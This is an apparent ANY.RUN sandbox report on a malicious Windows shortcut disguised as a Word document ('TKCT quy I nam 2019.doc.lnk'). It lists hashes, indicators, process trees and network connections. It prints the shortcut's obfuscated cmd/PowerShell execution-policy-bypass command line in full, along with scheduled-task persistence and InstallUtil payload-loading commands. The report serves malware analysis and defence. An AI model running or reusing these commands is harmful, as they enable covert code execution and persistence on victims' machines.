File name:

TKCT quy I nam 2019.doc.lnk.malw

Full analysis: https://app.any.run/tasks/748eccd0-8a7c-4401-81ef-0902419819de
Verdict: Malicious activity
Analysis date: March 14, 2019, 14:45:40
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=1, Archive, ctime=Sun Nov 21 02:24:03 2010, mtime=Sun Nov 21 02:24:03 2010, atime=Sun Nov 21 02:24:03 2010, length=302592, window=hidenormalshowminimized
MD5:

80BCDA9FDE78C70566C6F693F1C7938F

SHA1:

579C2C17E40A70BEF8FE4B2BA0EFDE2BE89B216C

SHA256:

0476EC8B4CB1B5DD368BE52D9249F5B3CF6709B3141E9D02814C05F61CB90A91

SSDEEP:

1536:1W4FUzI49mN+Ylv/j7OrvtqV734Uxe5VsKihr9uQZ0TEH1V8ajr5EUwTsG1hdUw2:H530U349VArO48ErKBL53Ut

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • InstallUtil.exe (PID: 2808)
      • winwsh.exe (PID: 2608)
      • winwsh.exe (PID: 2196)
      • InstallUtil.exe (PID: 3516)
      • winwsh.exe (PID: 3416)
      • InstallUtil.exe (PID: 2668)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 1420)
      • schtasks.exe (PID: 3060)
      • schtasks.exe (PID: 884)
      • schtasks.exe (PID: 3512)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2152)

    • Uses Task Scheduler to run other applications

      • powershell.exe (PID: 2908)
      • powershell.exe (PID: 2968)

    • Loads dropped or rewritten executable

      • InstallUtil.exe (PID: 2808)
      • InstallUtil.exe (PID: 3516)
      • InstallUtil.exe (PID: 2668)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2908)
      • powershell.exe (PID: 2968)

    • Starts Microsoft Office Application

      • powershell.exe (PID: 2968)
      • powershell.exe (PID: 2908)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 2968)
      • powershell.exe (PID: 2908)
      • cmd.exe (PID: 2152)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2968)
      • cmd.exe (PID: 2556)
      • cmd.exe (PID: 3880)
      • powershell.exe (PID: 2908)
      • cmd.exe (PID: 2588)

    • Application launched itself

      • cmd.exe (PID: 2152)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3596)
      • WINWORD.EXE (PID: 636)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3596)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpString
FileAttributes: Archive
CreateDate: 2010:11:21 04:24:03+01:00
AccessDate: 2010:11:21 04:24:03+01:00
ModifyDate: 2010:11:21 04:24:03+01:00
TargetFileSize: 302592
IconIndex: 1
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: cmd.exe
DriveType: Fixed Disk
VolumeLabel: -
LocalBasePath: C:\Windows\System32\cmd.exe
RelativePath: ..\..\..\..\Windows\System32\cmd.exe
CommandLineArguments: /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy I nam 2019.doc.lnk">%temp%\%windir:~-1,1%.ps1|p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-1,1%.ps1&for /f "delims==" %i in ('dir "%temp%\TKCT quy I nam 2019.doc.lnk" /s /b') do f%windir:~4,1%ndstr /b /i "iex" "%i">%temp%\%windir:~-1,1%.ps1&p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%s -file %temp%\%windir:~-1,1%.ps1
IconFileName: %SystemRoot%\system32\SHELL32.dll
MachineID: win-2a9b78ts069
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
63
Monitored processes
24
Malicious processes
8
Suspicious processes
1

Behavior graph

Click at the process to see the details
start rundll32.exe no specs explorer.exe no specs cmd.exe no specs findstr.exe no specs powershell.exe winword.exe no specs cmd.exe cmd.exe schtasks.exe no specs schtasks.exe no specs cmd.exe no specs findstr.exe no specs winwsh.exe no specs powershell.exe installutil.exe winword.exe no specs cmd.exe no specs cmd.exe schtasks.exe no specs schtasks.exe no specs winwsh.exe no specs installutil.exe no specs winwsh.exe no specs installutil.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
636"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Bai.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
884"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 3 /tn "Security Script kb00769670" /tr "C:\Users\admin\AppData\Local\Temp\winwsh.exe //Nologo //E:vbscript //B C:\Users\admin\AppData\Local\Temp\Win629052.txt" /FC:\Windows\system32\schtasks.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1420"C:\Windows\system32\schtasks.exe" /run /tn "Security Script kb00769670"C:\Windows\system32\schtasks.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\rpcrt4.dll
2152"C:\Windows\System32\cmd.exe" /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy I nam 2019.doc.lnk">C:\Users\admin\AppData\Local\Temp\%windir:~-1,1%.ps1|p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%%windir:~-1,1% -file C:\Users\admin\AppData\Local\Temp\%windir:~-1,1%.ps1&for /f "delims==" %i in ('dir "C:\Users\admin\AppData\Local\Temp\TKCT quy I nam 2019.doc.lnk" /s /b') do f%windir:~4,1%ndstr /b /i "iex" "%i">C:\Users\admin\AppData\Local\Temp\%windir:~-1,1%.ps1&p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%s -file C:\Users\admin\AppData\Local\Temp\%windir:~-1,1%.ps1C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2196C:\Users\admin\AppData\Local\Temp\winwsh.exe //Nologo //E:vbscript //B C:\Users\admin\AppData\Local\Temp\Win629052.txtC:\Users\admin\AppData\Local\Temp\winwsh.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\users\admin\appdata\local\temp\winwsh.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2376"C:\Windows\explorer.exe" C:\Windows\explorer.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
2556"C:\Windows\system32\cmd.exe" /c copy /y C:\Windows\system32\wscript.exe C:\Users\admin\AppData\Local\Temp\winwsh.exeC:\Windows\system32\cmd.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2588"C:\Windows\system32\cmd.exe" /c copy /y C:\Windows\system32\wscript.exe C:\Users\admin\AppData\Local\Temp\winwsh.exeC:\Windows\system32\cmd.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2608C:\Users\admin\AppData\Local\Temp\winwsh.exe //Nologo //E:vbscript //B C:\Users\admin\AppData\Local\Temp\Win629052.txtC:\Users\admin\AppData\Local\Temp\winwsh.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\users\admin\appdata\local\temp\winwsh.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2668"C:\Users\admin\AppData\Local\Temp\InstallUtil.exe" /logfile= /u /LogToConsole=false "C:\Users\admin\AppData\Local\Temp\tmp_pFWwjd.dat"C:\Users\admin\AppData\Local\Temp\InstallUtil.exe—winwsh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
.NET Framework installation utility
Exit code:
0
Version:
2.0.50727.5420 (Win7SP1.050727-5400)
Modules
Images
c:\users\admin\appdata\local\temp\installutil.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
Total events
3 633
Read events
3 138
Write events
486
Delete events
9

Modification events

(PID) Process:(2908) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2908) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1315831838
(PID) Process:(3596) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:*8(
Value:
2A3828000C0E0000010000000000000000000000
(PID) Process:(3596) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3596) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3596) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1315831839
(PID) Process:(3596) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315831952
(PID) Process:(3596) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315831953
(PID) Process:(3596) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
0C0E00002E6BA4BF74DAD40100000000
(PID) Process:(3596) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:y:(
Value:
793A28000C0E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
Executable files
5
Suspicious files
9
Text files
4
Unknown types
2

Dropped files

PID
Process
Filename
Type
2908powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6SF8GZ2297RU97NLCMP7.temp —
MD5:—
SHA256:—
3596WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR282A.tmp.cvr —
MD5:—
SHA256:—
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0WUO6NRW4WPI69BI0YNT.temp —
MD5:—
SHA256:—
3596WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFCEAF0A904DDAB7C5.TMP —
MD5:—
SHA256:—
3596WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFD1C8E79EA51975CD.TMP —
MD5:—
SHA256:—
636WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR38A5.tmp.cvr —
MD5:—
SHA256:—
2808InstallUtil.exeC:\Users\admin\AppData\Local\Temp\Cab424A.tmp —
MD5:—
SHA256:—
2808InstallUtil.exeC:\Users\admin\AppData\Local\Temp\Tar424B.tmp —
MD5:—
SHA256:—
2808InstallUtil.exeC:\Users\admin\AppData\Local\Temp\Cab425B.tmp —
MD5:—
SHA256:—
2808InstallUtil.exeC:\Users\admin\AppData\Local\Temp\Tar425C.tmp —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
10
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2808
InstallUtil.exe
GET
200
93.184.221.240:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
55.2 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2808
InstallUtil.exe
144.202.54.86:443
—
Baltimore Technology Park, LLC
US
suspicious
2808
InstallUtil.exe
93.184.221.240:80
www.download.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted

DNS requests

Domain
IP
Reputation
www.download.windowsupdate.com
  • 93.184.221.240
whitelisted

Threats

No threats detected
No debug info
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Reports
TKCT quy I nam 2019.doc.lnk.malw